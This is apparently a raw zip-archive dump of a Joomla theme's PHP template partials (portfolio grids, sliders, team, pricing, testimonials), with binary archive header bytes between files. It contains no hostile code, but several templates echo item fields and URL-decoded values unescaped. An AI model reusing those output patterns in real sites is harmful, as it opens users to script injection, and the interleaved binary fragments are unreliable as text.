                <?php echo $google_plus; ?>
                <?php echo $twitter; ?>
                <?php echo $facebook; ?>
                <?php echo $youtube; ?>
                <?php echo $gallery; ?>
            </ul>
       </div>
        <div class="team-detail-sec">
            <h3 style="<?php echo $title_color; ?>"><?php echo $item->title; ?><span><?php echo $string_tags; ?></span></h3>
            <?php echo $item->introtext; ?>
        </div>
    </div>
    <?php
        $delay +=  100;
        endforeach; 
        endif; 
    ?>
</div>PK!��%��+bluetheme/assets/st_template/portfolio1.phpnu&1i�<?php 
//$app = JFactory::getApplication();
//$doc = JFactory::getDocument();
//$menu = $app->getMenu();
//$item = $menu->getItem( $menuid );
//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);
$app = JFactory::getApplication();
$doc = JFactory::getDocument();

$menu = $app->getMenu();
$itemid   = $app->input->getCmd('Itemid', '');
$active = $menu->getItem($itemid);
$params = $menu->getParams( $active->id );
$pageclass = $params->get( 'pageclass_sfx' );

$item_menu = '';
if ($menuid != '') {
  (int)$itemid = $menuid;
   $item_menu = '&amp;Itemid='.$itemid;
}
?>
<section id="portfolio" class="portfolio_3 padding">
    <div class="container">
        <div class="row">
            <div class="col-md-12">
            <?php
            $i = 0;
            if(isset($catItems) && count($catItems)) :
                foreach($catItems as $key=> $item):

                    $i++;

                    $itemTags = $K2ModelItem->getItemTags($item->id);
                    if(isset($itemTags) && count($itemTags)) {
                        foreach ($itemTags as $itm=>$tag_item) {
                        //    $tName = str_replace(" ", "_", $tag_item->name);
                            $allTags[] = $tag_item->name;
                            $tName = $tag_item->name;
                            $tag_name[] = $tName;
                        }
                        $tags_filter = array_unique($allTags);
                    }
                    else
                        $tags_filter = '';            
            ?>
            <?php endforeach; endif; ?>

            <?php if($tags_filter != ''): ?> 
                <div class="work-filter">
                    <ul class="text-center">
                        <li><a href="javascript:;" data-filter="all" class="active filter"><?php echo JText::_('K2_ALL_WORKS'); ?></a></li>
                        <?php foreach($tags_filter as $key=> $tag_item): ?>
                            <li><a href="javascript:;" data-filter=".<?php echo strtolower(str_replace(" ","_",$tag_item)); ?>" class="filter"><?php echo $tag_item; ?></a></li>
                        <?php endforeach; ?>
                    </ul>
                </div>
            </div>
            <?php endif; ?>

            <div class="project-wrapper">
                <?php if(isset($catItems) && count($catItems)) :
                    $array_col = array('col-1-2', 'col-1-4', 'col-1-4', 'col-1-2', 'col-1-4', 'col-1-4');
                    foreach($catItems as $key=> $item):
                        $number = $key%6;
                        $class_col = $array_col[$number];

                        $image_normal = JURI::base() .'media' . '/' . 'k2' . '/'  . 'items' . '/'  . 'cache' . '/'  . md5("Image" . $item->id) . '_L.jpg';
                        $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias .$item_menu ;
                        
                        $tag_name = array();
                        $tag_name_1 = array();
                        $itemTags = $K2ModelItem->getItemTags($item->id);
                        if(isset($itemTags) && count($itemTags)) {
                            foreach ($itemTags as $itm=>$tag_item) {
                                $tName = str_replace(" ", "_", $tag_item->name);
                                $tag_name[] = strtolower($tName);
                                $tName_1 = $tag_item->name;
                                $tag_name_1[] = $tName_1;
                            }
                            $tags_filter_ar = array_unique($tag_name);
                            $tags_filter = implode(" ", $tags_filter_ar);
                        }
                        else
                            $tags_filter = '';
                        $string_tags = implode(', ', $tag_name_1);
                ?>
                <figure class="mix work-item <?php echo $tags_filter; ?>">
                    <img src="<?php echo $image_normal; ?>" alt="<?php echo $item->title; ?>"/> 
                    <a class="overlay text-center" href="<?php echo  JRoute::_($link); ?>">
                        <div class="overlay-inner">
                           <h4><?php echo $item->title; ?></h4>
                           <div class="line"></div>
                           <p><?php echo $string_tags; ?></p>
                        </div>                         
                    </a>
                </figure>
                <?php endforeach; endif; ?>
            </div>
        </div>
    </div>
</section>PK!&��f{{)bluetheme/assets/st_template/gallery1.phpnu&1i�<?php if($title != ''): ?>

<div class="<?php echo $class; ?>">
    <h1><?php echo $title; ?></h1>
</div>
<?php  endif; ?>
<div class="gallery_style gallery_style2">
    <div id="gallery-style2" class="carousel slide" data-ride="carousel">
        <!-- Wrapper for slides -->
        
        <div class="carousel-inner"><?php
        foreach($ig_new_array as $key=>$item):
            //var_dump($item);
        ?>
            <div class="item  <?php if($key == 0) echo 'active'; ?>">
              <img src="<?php echo JString::ltrim(urldecode($item['content'])); ?>" alt="image" >  
            </div>  
        <?php endforeach; ?>                      
        </div>
        <!-- Controls -->
        <a class="left carousel-control" href="#gallery-style2" data-slide="prev"></a>
        <a class="right carousel-control" href="#gallery-style2" data-slide="next"></a>
    </div>
</div>PK!.���99'bluetheme/assets/st_template/index.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
</head>

<body>
</body>
</html>
PK!8p��II1bluetheme/assets/st_template/services_slider1.phpnu&1i�<?php defined('_JEXEC') or die;
$d = 4;
?>
<?php if($full){ ?>
<section id="service" class="sercice_wrap content_pt content_pb" <?php if (!empty($bg_image)) echo 'style="background-image: url('.JUri::root().$bg_image.');"'; ?>>
    <div class="container">
        <div class="row content_pt content_pb">
            <?php if(!empty($title)): ?>
            <div class="col-md-12 content_pt content_pb">
                <div class="<?php echo $hclass; ?> wow">
                	<h2><?php echo $title; ?></h2>
                    <h3><?php echo $description; ?></h3>
                </div>
            </div>
            <div class="clear"></div>
            <?php endif; ?>
<?php } ?>
            <div id="services_slider" class="carousel slide" data-ride="carousel"> 
            <div class="carousel-inner">
    		<?php
    		if(isset($items)) :
    			$i = 0;
                foreach($items as $key=>$value):
    				$extra_fields = json_decode($value->extra_fields);
                    $active = '';
                    if($key ==0) $active = 'active';
    				$i++;
                    if ($i == 1){
                        
                       echo '<div class="item '.$active.'">';
                    }
    				?>
                    
    				<div class="col-md-3 <?php echo 'btservice-'.$key; ?> mb <?php if($animate){if ($key == 0) {echo 'fadeInLeft';}elseif  ($key == (count($items)-1)){echo 'fadeInRight';}elseif ($key%2 == 0){echo 'fadeInRight';}else{echo 'fadeIn';}} ?>">
                        <div class="services_box text-center">
                            <div class="services_icon">
                                <div class="icon_first icon_image" <?php if (!empty($extra_fields[0]->value)) echo 'style="background-image: url('.urldecode(JUri::base().$extra_fields[0]->value).');"'; ?>></div>
                                <style type="text/css">
                                div.<?php echo 'btservice-'.$key; ?> .services_box:hover .services_icon div{
                                    background-image: url('<?php echo JUri::base().$extra_fields[1]->value; ?>') !important;
                                }
                                </style>
                            </div>
                            <div class="services_content">
                                <h1><?php echo $value->title; ?></h1>
    
                                <?php echo $value->introtext ?>
                            </div>
                        </div>
                    </div>	
    			    <?php 
                    if ($key == (count($items)-1)){
                        echo '</div>';break;
                    }
                    if ($i == $d){echo '</div>';;$i =0;} ?>
    			<?php endforeach ;
            endif; ?>
            </div>
            </div>
            <div class="col-md-12 text-center services_slider_arrow content_pt mb">
                <a class="left" href="#services_slider" data-slide="prev"></a>
                <a class="right" href="#services_slider" data-slide="next"></a>
            </div>
            <?php if($full){ ?>
        </div>
    </div>
</section>
<?php } ?>
        PK!r����&bluetheme/assets/st_template/skill.phpnu&1i�<?php

defined('_JEXEC') or die;
$doc             = JFactory::getDocument();
$doc->addScript(JURI::base() .'templates/rockox/js/counters.js');
$doc->addStyleSheet(JURI::base() .'templates/rockox/css/rockox-main.css');
$id = str_replace(' ','_',$title).rand(1,100);

$percent_pro = str_replace('%','',$percent);

if( $bg_image != '' )

	$bg_color = 'background-color: ' .$bg_image;

else

	$bg_color = '';

?>
<div class="counters">
	<div class="counter">
    	<div class="count <?php echo $class;?>"><i class="<?php echo $title;?>"></i></div>
	    <span class="timer1 <?php echo $class;?>" data-to="<?php echo $percent_pro;?>"><?php echo $percent_pro;?></span>
		<p><?php echo $sdesc;?></p>
    </div>
</div>PK!�uL��)bluetheme/assets/st_template/services.phpnu&1i�<?php 
//$app = JFactory::getApplication();
//$doc = JFactory::getDocument();
//$menu = $app->getMenu();
//$item = $menu->getItem( $menuid );
//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);
$app = JFactory::getApplication();
$doc = JFactory::getDocument();
?>
<section class="services">
	<div class="container-fluid">
		<?php if(isset($catItems) && count($catItems)) : foreach($catItems as $key=> $item): ?>
        <?php
			$image_normal = $bt->getImageK2($item->id, 'XL');
        ?>
        <?php if( $key%2 == 0 ): ?>
			<div class="row service-block"> 
				<div class="col-md-3 col-sm-3 col-xs-12">
					<div class="bg-img">
						<figure class="hvr-trim">
							<img class="img-responsive" alt="<?php echo $item->title; ?>" src="<?php echo $image_normal; ?>">
						</figure>
					</div>
				</div>     
				<div class="col-md-9 col-sm-9 col-xs-12">
					<div class="grey-content bg-grey r-test">
						<h3><?php echo $item->title; ?></h3>
						<div class="introtext">
						  <?php echo $item->introtext; ?>
						</div>
					</div>
				</div>
			</div>
    	<?php else: ?>
			<div class="row service-block">      
				<div class="col-md-9 col-sm-9 col-xs-12">
					<div class="grey-content bg-grey r-test">
						<h3><?php echo $item->title; ?></h3>
						<div class="introtext">
						  <?php echo $item->introtext; ?>
						</div>
					</div>
				</div>
				<div class="col-md-3 col-sm-3 col-xs-12">
					<div class="bg-img-right">
						<figure class="hvr-trim">
							<img class="img-responsive" alt="<?php echo $item->title; ?>" src="<?php echo $image_normal; ?>">
						</figure>
					</div>
				</div>
			</div>
    	<?php endif; ?>
      <?php endforeach; endif; ?>
	</div>
</section>  PK!��EE,bluetheme/assets/st_template/module-none.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
	<?php echo $module->content; ?>
PK!�GN`!!&bluetheme/assets/st_template/alert.phpnu&1i�<?php 
defined('_JEXEC') or die;
/*
	$content :    
	$class :
	$title :...
	$ico :
*/
?>
<div class="alert <?php echo $type; ?> alert-dismissable">
  <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
  <?php echo do_shortcode($content); ?>
</div>PK!�����+bluetheme/assets/st_template/fb_likebox.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<div id='fb-root'></div>
<div class="fb-like-box" 
    data-href="<?php echo trim($content); ?>"
    data-width="<?php echo $width; ?>"
    data-height="<?php echo $height; ?>"
    data-colorscheme="<?php echo $colorscheme; ?>"
    data-show-faces="<?php echo $showfaces; ?>"
    data-header="<?php echo $showheader; ?>"
    data-stream="<?php echo $showstream; ?>"
    data-show-border="<?php echo $showborder; ?>"></div>PK!�V�gg*bluetheme/assets/st_template/statistic.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<!-- thumb-carousel : starts -->
<?php
$random = rand();
$items = count($ig_new_array);
?>

<section id="<?php echo $sid; ?>" class="color_section <?php echo $class; ?>" <?php if (!empty($bg_image) && $bg_image !='undefined') echo 'style="background-image: url('.JUri::root().$bg_image.');"'; ?>>
    <div class="container">
    <div class="row">
      <?php if(!empty($title)): ?>
      <div class="col-sm-12 text-center <?php echo $hclass; ?>">
            
          <h2 class="block-header"><?php echo $title; ?></h2>
          <p>
            <?php echo htmlspecialchars_decode($description); ?>
          </p>
      </div>
      <?php endif; ?>
    </div>
    <div class="row">
        <?php
        foreach($ig_new_array as $k=>$item){
            //var_dump($item);
        ?>
        <div class="block col-sm-3">
          <div class="arctcle">
            <div class="single_teaser icons style2">
              <?php if($item['show_image'] == 'true'): ?>
    			<img alt="<?php echo urldecode($item['title']); ?>" title="<?php echo urldecode($item['title']); ?>" src="<?php echo JUri::root().urldecode(trim($item['content'])); ?>" width="120" height="120"/>
                <?php endif; ?>
              <div class="icons_introimg image-icon">
                <i class="<?php echo urldecode($item['iconname']); ?>"></i>
              </div>
              <h2><?php echo urldecode($item['number']); ?></h2>
              <h3><?php echo urldecode($item['title']); ?></h3>
              
            </div>
          </div>
        </div>
        <?php } ?>
    
    </div>
    </div>
</section>
PK!3aw���/bluetheme/assets/st_template/recent_article.phpnu&1i�<?php 
defined('_JEXEC') or die;
require_once (JPATH_SITE.'/components/com_k2/helpers/route.php');
?>
<?php if($class!="" || $id_ar!=""){ ?>
<div <?php echo ($id_ar!="")?"id='{$id_ar}'":""; ?> class="<?php echo $class; ?>">	
<?php } ?>
	<p class="section-title margint60">PORTFOLIO</p>
	<hr class="underline">
	<h2><?php echo $title; ?></h2>
	<p class="margint20">
		<?php echo rawurldecode($content); ?>
	</p>
	<ul class="prtfl-list">
	<?php foreach ($items as $key => $value) { ?>
		<li>
			<img src="<?php echo $st->getImagek2($value->id,'S'); ?>" class="img-responsive" alt="" />
			<div class="mask">
				<div class="prt-lnk-wrppr clearfix">
	            	<div class="pull-left popup"><a href="<?php echo $st->getImagek2($value->id,'XL'); ?>" class="prettyPhoto"><i class="icon-search"></i></a></div>
	            	<div class="pull-left extlink"><a href="<?php echo $st->getk2link($value->id,$value->alias,$value->catid,$value->categoryalias); ?>"><i class="icon-link"></i></a></div>
	            </div>
	        </div>
		</li>
	<?php } ?>
	</ul>

	<ul class="prtfl-list-controller margint40 clearfix">
		<li><a id="prev" href=""><i class="icon-angle-left"></i></a></li>
		<li><a href="<?php echo JRoute::_(K2HelperRoute::getCategoryRoute($category_id)); ?>"><i class="icon-expand-alt"></i></a></li>
		<li><a id="next" href=""><i class="icon-angle-right"></i></a></li>
	</ul>
<?php if($class!="" || $id!=""){ ?>
</div>
<?php } ?>
PK!X��w4bluetheme/assets/st_template/slider_owl_carousel.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<!-- thumb-carousel : starts -->
<?php

$random = rand();
$items = count($ig_new_array);
$d = 3;
?>
<div <?php if($sid) echo 'id="' .$sid .'"'; ?> class="bt-jcarousel <?php echo $sclass; ?>">
    <div id="mycarousel" class="mycarousel jcarousel-skin-tango">
        <ul>
            <?php $i = 0; foreach($ig_new_array as $key=>$item): ?>
                <li>
                    <h1>
                        <?php if(trim($item['link']) != ''): ?>
                            <a href="<?php echo trim($item['link']); ?>">
                                <?php echo trim($item['title']); ?>
                            </a>
                        <?php else: ?>
                            <?php echo trim($item['title']); ?>
                        <?php endif; ?>
                    </h1>
                    <div class="clearfix"></div>
                    <h2><?php echo trim($item['desc']); ?></h2>
                </li>
            <?php endforeach; ?>
        </ul>
    </div>
</div>
PK!z{[��*bluetheme/assets/st_template/portfolio.phpnu&1i�<?php 
//$app = JFactory::getApplication();
//$doc = JFactory::getDocument();
//$menu = $app->getMenu();
//$item = $menu->getItem( $menuid );
//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);
$app = JFactory::getApplication();
$doc = JFactory::getDocument();

$menu = $app->getMenu();
$itemid   = $app->input->getCmd('Itemid', '');
$active = $menu->getItem($itemid);
$params = $menu->getParams( $active->id );
$pageclass = $params->get( 'pageclass_sfx' );

$item_menu = '';
if ($menuid != '') {
  (int)$itemid = $menuid;
   $item_menu = '&amp;Itemid='.$itemid;
}
?>
<section id="portfolio" class="portfolio_2 padding clearfix">
    <div class="container">
        <div class="row">
            <div class="col-md-12">
            <?php
            $i = 0;
            if(isset($catItems) && count($catItems)) :
                foreach($catItems as $key=> $item):

                    $i++;

                    $itemTags = $K2ModelItem->getItemTags($item->id);
                    if(isset($itemTags) && count($itemTags)) {
                        foreach ($itemTags as $itm=>$tag_item) {
                        //    $tName = str_replace(" ", "_", $tag_item->name);
                            $allTags[] = $tag_item->name;
                            $tName = $tag_item->name;
                            $tag_name[] = $tName;
                        }
                        $tags_filter = array_unique($allTags);
                    }
                    else
                        $tags_filter = '';            
            ?>
            <?php endforeach; endif; ?>

            <?php if($tags_filter != ''): ?> 
                <div class="work-filter">
                    <ul class="text-center">
                        <li><a href="javascript:;" data-filter="all" class="active filter"><?php echo JText::_('K2_ALL_WORKS'); ?></a></li>
                        <?php foreach($tags_filter as $key=> $tag_item): ?>
                            <li><a href="javascript:;" data-filter=".<?php echo strtolower(str_replace(" ","_",$tag_item)); ?>" class="filter"><?php echo $tag_item; ?></a></li>
                        <?php endforeach; ?>
                    </ul>
                </div>
            </div>
            <?php endif; ?>

            <div class="project-wrapper">
                <?php if(isset($catItems) && count($catItems)) :
                    $array_col = array('col-1-2', 'col-1-4', 'col-1-4', 'col-1-2', 'col-1-4', 'col-1-4');
                    foreach($catItems as $key=> $item):
                        $number = $key%6;
                        $class_col = $array_col[$number];

                        $image_normal = JURI::base() .'media' . '/' . 'k2' . '/'  . 'items' . '/'  . 'cache' . '/'  . md5("Image" . $item->id) . '_L.jpg';
                        $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias .$item_menu ;
                        
                        $tag_name = array();
                        $tag_name_1 = array();
                        $itemTags = $K2ModelItem->getItemTags($item->id);
                        if(isset($itemTags) && count($itemTags)) {
                            foreach ($itemTags as $itm=>$tag_item) {
                                $tName = str_replace(" ", "_", $tag_item->name);
                                $tag_name[] = strtolower($tName);
                                $tName_1 = $tag_item->name;
                                $tag_name_1[] = $tName_1;
                            }
                            $tags_filter_ar = array_unique($tag_name);
                            $tags_filter = implode(" ", $tags_filter_ar);
                        }
                        else
                            $tags_filter = '';
                        $string_tags = implode(', ', $tag_name_1);
                ?>
                <figure class="mix work-item <?php echo $tags_filter; ?>">
                    <img src="<?php echo $image_normal; ?>" alt="<?php echo $item->title; ?>"/> 
                    <a class="overlay text-center" href="<?php echo  JRoute::_($link); ?>">
                        <div class="overlay-inner">
                           <h4><?php echo $item->title; ?></h4>
                           <div class="line"></div>
                           <p><?php echo $string_tags; ?></p>
                        </div>                         
                    </a>
                </figure>
                <?php endforeach; endif; ?>
            </div>
        </div>
    </div>
</section>PK!�?~,bluetheme/assets/st_template/skill_chart.phpnu&1i�<?php
defined('_JEXEC') or die;
$id = str_replace(' ','_',$title).rand(1,100);
$percent_pro = str_replace('%','',$percent);
if( $bg_image != '' )
	$bg_color = $bg_image;
else
	$bg_color = '#007ACC';
?>
<span class="chart text-center <?php echo $class; ?>" data-bar-color="<?php echo $bg_color; ?>" data-percent="<?php echo $percent_pro;?>">
    <span class="percent"></span>
	<span class="skill-name"><?php echo $title;?></span>
	<?php if( $sdesc != '' ): ?>
		<span class="skill-desc"><?php echo $sdesc;?></span>
	<?php endif; ?>
</span>PK!�~N��'bluetheme/assets/st_template/skill1.phpnu&1i�<?php
defined('_JEXEC') or die;
?>
<div class="skills-progress">
	<p><?php echo $title;?> <span><?php echo $percent;?>%</span></p>
	<div class="meter nostrips wp">
		<span style="width: <?php echo $percent;?>%"></span>
	</div>
 </div>PK!����(bluetheme/assets/st_template/columns.phpnu&1i�<?php 
defined('_JEXEC') or die;
if(!$fullwidth && !$st->checkSidebar())
    $class_width = 'container';
else
    $class_width = 'container-fluid bt-boxfluid'
?>
<?php if($class!="" || $id!=""){ ?>
	<div <?php if ($id != '') echo 'id="'.(($id!="")?$id:"").'"'; ?> data-animate="<?php echo $animate; ?>" class="box-section triggerAnimation animated  <?php echo $class; ?>"  <?php if (!empty($icon)) echo 'data-stellar-background-ratio="' .$icon .'"'; ?> <?php if (!empty($bg)) echo 'style="background-image: url('.JUri::root().$bg.')"'; ?>>
<?php } ?>

    <?php if($overlay && (!empty($bg))): ?>
        <div class="overlay">
    <?php endif; ?>


        	<div class="<?php echo $class_width; ?>  <?php echo $cclass; ?>" <?php if ($cid != '') echo 'id="'.(($cid!="")?$cid:"").'"'; ?>>

            <div class='row vc_row bt-boxrow ' style="padding: <?php echo $cpadding; ?>;">
                <?php if(!empty($title) ){ ?>
                <h1 class="section-title text-center <?php echo $heading; ?>">
                    <?php echo $title; ?>
                    <?php if($sdesc != ''): ?>
                    <span><?php echo $sdesc; ?></span>
                    <?php endif;?>
                </h1>
                <?php } ?>
            	<?php foreach($column_new_array as $key => $item){  ?>
            		<div class='vc_column_container <?php echo $item['col']; ?> <?php echo $item['class']; ?>'>
                    <div class="st-inner <?php if($item['show_box']) {echo 'box-section';} ?>" style="padding: <?php echo $item['padding']; ?>"><?php echo do_shortcode($item['content']); ?></div></div>
            	<?php } ?>
            </div>
        </div>
    <?php if($overlay): ?>
        </div>
    <?php endif; ?>

<?php if($class!="" || $id!=""){ ?>
</div>
<?php } ?>PK!�ȦZ��+bluetheme/assets/st_template/statistic1.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<!-- thumb-carousel : starts -->
<?php

$random = rand();
$items = count($ig_new_array);
?>
<section class="<?php echo $class; ?>" <?php if ($bg_image != 'undefined') echo 'style="background-image: url('.JUri::root().$bg_image.');"'; ?>>
    	<div class="container">
    		<div class="row">
                <?php if($show_title == 'true'): ?>
    			<div class="col-md-12 <?php echo $hclass; ?>">
    				<h1><?php echo $title; ?></h1>
    			</div>
                <?php endif; ?>
                <?php
    foreach($ig_new_array as $k=>$item){
        //var_dump($item);
    ?>
                <div class="col-md-3 content_pt mb wow <?php if ($k == 0) {echo 'fadeInLeftBig';}elseif  ($k == (count($ig_new_array)-1)){echo 'fadeInRightBig';}elseif ($k%2 == 0){echo 'fadeInRight';}else{echo 'fadeInLeft';} ?>">
                    <div class="fun_facts_item text-center">
                        <div class="fun_facts_img">
                            <img src="<?php echo JString::ltrim(urldecode($item['content'])); ?>" alt="icon">
                        </div>
                        <div class="fun_facts_content">
                            <h1><?php echo urldecode($item['number']); ?></h1>
                            <p><?php echo urldecode($item['title']); ?></p>
                        </div>
                    </div>
                </div>
                
    <?php } ?>
            </div>
        </div>
</section>
PK!V�/���(bluetheme/assets/st_template/pricing.phpnu&1i�<?php
defined('_JEXEC') or die;
$description = explode('|', $description);
if( $time != '')
	$time = '/' .$time;
$class_item = explode('-', $class);
$delay = rand(100,1000);
?>
<div class="table table-price fadeInUp <?php echo $class; ?> text-center" data-delay="<?php echo $delay; ?>">
    <span class="table-heading"><?php echo $title;?></span>
    <p class="price"><span><?php echo htmlspecialchars_decode($price);?></span><?php echo $time;?></p>
    <ul class="list-unstyled">
        <?php foreach($description as $value): ?>
	            	<li><?php echo $value;?></li>
	        	<?php endforeach; ?>
    </ul>
    <a class="btn <?php echo 'btn-' .$class_item[0]; ?>" href="<?php echo $link_button;?>"><?php echo $text_button;?></a>
</div>PK!�y���&bluetheme/assets/st_template/team1.phpnu&1i�<?php
defined('_JEXEC') or die;
?>

<section class="team_member_wrap parallax" <?php if (!empty($bg)) echo 'style="background-image: url('.JUri::root().$bg.');"'; ?>>
    <div class="container">
        <div class="row">
            <?php if(!empty($title)): ?>
            <div class="col-md-12 mb content_pb wow fadeInDown">
                <div class="<?php echo $hclass; ?> wow">
                	<h1><?php echo $title; ?></h1>
                </div>
            </div>
            <?php endif; ?>
            <div class="team_member_content_wrap">
            <?php if (is_array($items)): foreach($items as $k=>$item): ?>
                <?php 
                $image_normal = 'media' . '/' . 'k2' . '/'  . 'items' . '/'  . 'cache' . '/'  . md5("Image" . $item->id) . '_S.jpg';
                // extra fields
                $extraFields = json_decode($item->extra_fields);
                $avatar = $extraFields[0]->value;                
                $position = $extraFields[1]->value;                
                $face = $extraFields[2]->value;                
                $linkin = $extraFields[3]->value;                
                $twiter = $extraFields[4]->value;
                
                ?>
                <div class="team_member_content mb content_pt wow <?php if ($k == 0) {echo 'fadeInLeftBig';}elseif ($k == (count($items)-1)){echo 'fadeInRightBig';}else{echo 'fadeInUpBig';} ?> content_pb">
                     <div class="team_member_head">
                            <div class="member_image">
                                <img src="<?php echo JUri::root().$avatar; ?>" alt="<?php echo $item->title; ?>">
                            </div>
                            <div class="member_detail">
                                <h1><?php echo $item->title; ?></h1>
                                <h3><?php echo $position; ?></h3>
                            </div>
                        </div>
                        <div class="clear"></div>
                        <div class="team_bottom">
                            <div class="member_social_icon">
                                <ul>
                                    <li><a href="<?php echo $face; ?>" class="icon-facebook-4 "></a></li>
                                    <li><a href="<?php echo $linkin; ?>" class="icon-linkedin"></a></li>
                                    <li><a href="<?php echo $twiter; ?>" class="icon-twitter"></a></li>                                
                                </ul>
                            </div>

                            <div class="view_icon view_icon<?php echo ($k+1); ?>">
                                <span class="icon-plus-3"></span>
                                <span class="icon-minus-3"></span>
                            </div>
                            <div class="clear"></div>
                        </div>

                        <div class="member_description member_description<?php echo ($k+1); ?>">
                            <?php echo $item->introtext; ?>
                        </div>
                </div>
            <?php endforeach;endif; ?>
            </div>
        </div>
    </div>
 </section>PK!n/Aq��(bluetheme/assets/st_template/slider1.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<!-- thumb-carousel : starts -->
<?php

$random = rand();
$items = count($ig_new_array);
?>

<section id="<?php echo $sid; ?>" class="<?php echo $sclass; ?>">
  <div class="container"><div class="row to_fade">
          <div class="col-sm-12 text-center">
            <h2 class="block-header"><?php echo $title; ?></h2>
            <p class="">
                <?php echo htmlspecialchars_decode($sdesc); ?>
              </p>
          </div>
        </div>

          <div class="row">
            <div class="col-sm-12">
              <div class="owl-carousel">
                    <?php
            foreach($ig_new_array as $item){
                //var_dump($item);
            ?>
                <div class="item">
                  <img src="<?php echo trim($item['content']); ?>" alt="partner">
                </div>
                <?php } ?>
              </div>


            </div>
          </div>

</div>
</section>
PK!����
�
,bluetheme/assets/st_template/pl-carousel.phpnu&1i�<?php 
//$app = JFactory::getApplication();
//$doc = JFactory::getDocument();
//$menu = $app->getMenu();
//$item = $menu->getItem( $menuid );
//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);

$app = JFactory::getApplication();
$doc = JFactory::getDocument();
$menu = $app->getMenu();
$itemid   = $app->input->getCmd('Itemid', '');
if ($menuid != '') {
  (int)$itemid = $menuid;
}

?>
<?php if( $title != ''): ?>
    <div class="section-title text-center">
    	   <h2 class="bigtitle"><?php echo $title; ?></h2>
        <?php
            if( $description != ''):
        ?>
            <h4 class="lead"><?php echo htmlspecialchars_decode($description); ?></h4>
        <?php
            endif;
        ?>
        <hr>
    </div>
<?php endif; ?>

<div class="general_wrapper clearfix">
	<div id="owl-portfolio" class="owl-portfolio owl-carousel">
        <?php
        $i = 0;
		if(isset($catItems) && count($catItems)) :
            foreach($catItems as $key=> $item):

                $tag_name = array();
                $itemTags = $K2ModelItem->getItemTags($item->id);
                if(isset($itemTags) && count($itemTags)) {
                    foreach ($itemTags as $itm=>$tag_item) {
                    //    $tName = str_replace(" ", "_", $tag_item->name);
                        $tName = $tag_item->name;
                        $tag_name[] = $tName;
                    }
                }
                $string_tags = implode(', ', $tag_name);
                //image
                $image_normal = JURI::base() .'media' . '/' . 'k2' . '/'  . 'items' . '/'  . 'cache' . '/'  . md5("Image" . $item->id) . '_M.jpg';
                $image_full = JURI::base() .'media' . '/' . 'k2' . '/'  . 'items' . '/'  . 'cache' . '/'  . md5("Image" . $item->id) . '_L.jpg';
                $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias.'&amp;Itemid='.$itemid;
                $i++;
            
        ?>
                <div class="item">
                    <a href="<?php echo $link; ?>">
                        <div class="entry">
                            <img src="<?php echo $image_normal; ?>" class="lazyOwl" data-src="<?php echo $image_normal; ?>" alt="">
                            <span class="magnifier"></span>
                        </div>
                    </a>
                    <div class="image-caption">
                        <h3><a href="<?php echo $link; ?>"><?php echo $item->title; ?></a></h3>
                        <span class="meta"><?php echo $string_tags; ?></span>
                    </div><!-- image caption -->
                </div>
        <?php 
            endforeach; 
            endif; 
        ?>
    </div>
</div>
PK!�n��'bluetheme/assets/st_template/client.phpnu&1i�<section class="client_wrap parallax" <?php if (!empty($bg)) echo 'style="background-image: url('.JUri::root().$bg.');"'; ?>>
        <div class="container">
            <div class="row">
                <?php if($title != ''): ?>
                <div class="col-md-12 <?php echo $class; ?> mb content_pb wow bounceIn">
                    <h1><?php echo $title;?></h1>
                </div>
                <?php  endif; ?>
                <div class="col-md-12 content_pt mt">
                    <div class="client_slider">
                           <ul>
                              <?php
    foreach($ig_new_array as $item){
        //var_dump($item);
    ?>
                               <li class="wow fadeIn">
                                   <a href="#" class="client_logo " style="background-image: url(<?php echo JUri::base().ltrim(urldecode($item['content'])); ?>);"></a>
                               </li>  
    <?php } ?>                         
                           </ul> 
                           <div class="clear"></div>
                    </div>
                </div>
            </div>
        </div>
    </section>PK!�Htt3bluetheme/assets/st_template/testimonial_style2.phpnu&1i�<?php 
    defined('_JEXEC') or die;
?>
        <?php
        foreach($ig_new_array as $key=>$item):
            //var_dump($item);
            $class_item = $item['show_image'];
            if ($key%2 == 0) {
                $class_pull = 'pull-left';
            }
            else{
                $class_pull = 'pull-right';
            }
        ?>
            <div class="testimonial <?php echo $class_item; ?>">
                <blockquote>
                  <?php echo urldecode($item['desc']); ?>
                </blockquote>
                <p class="testimonial-footer <?php echo $class_pull; ?>">
                  <img alt="" src="<?php echo trim(urldecode($item['content'])); ?>">
                  <b><?php echo urldecode($item['title']); ?></b> &mdash; <?php echo urldecode($item['position']); ?>
                </p>
            </div>
        <?php endforeach; ?>

PK!��F��1bluetheme/assets/st_template/services_slider2.phpnu&1i�<?php defined('_JEXEC') or die;
$d = 4;
?>
<?php if($full){ ?>
<section id="service" class="sercice_wrap content_pt content_pb" <?php if (!empty($bg_image)) echo 'style="background-image: url('.JUri::root().$bg_image.');"'; ?>>
    <div class="container">
        <div class="row content_pt content_pb">
            <?php if(!empty($title)): ?>
            <div class="col-md-12 content_pt content_pb">
                <div class="<?php echo $hclass; ?> wow">
                	<h2><?php echo $title; ?></h2>
                    <h3><?php echo $description; ?></h3>
                </div>
            </div>
            <div class="clear"></div>
            <?php endif; ?>
<?php } ?>
            <div id="services_slider" class="carousel slide" data-ride="carousel"> 
            <div class="carousel-inner">
    		<?php
    		if(isset($items)) :
    			$i = 0;
                foreach($items as $key=>$value):
    				$extra_fields = json_decode($value->extra_fields);
                    $active = '';
                    if($key ==0) $active = 'active';
    				$i++;
                    if ($i == 1){
                        
                       echo '<div class="item '.$active.'">';
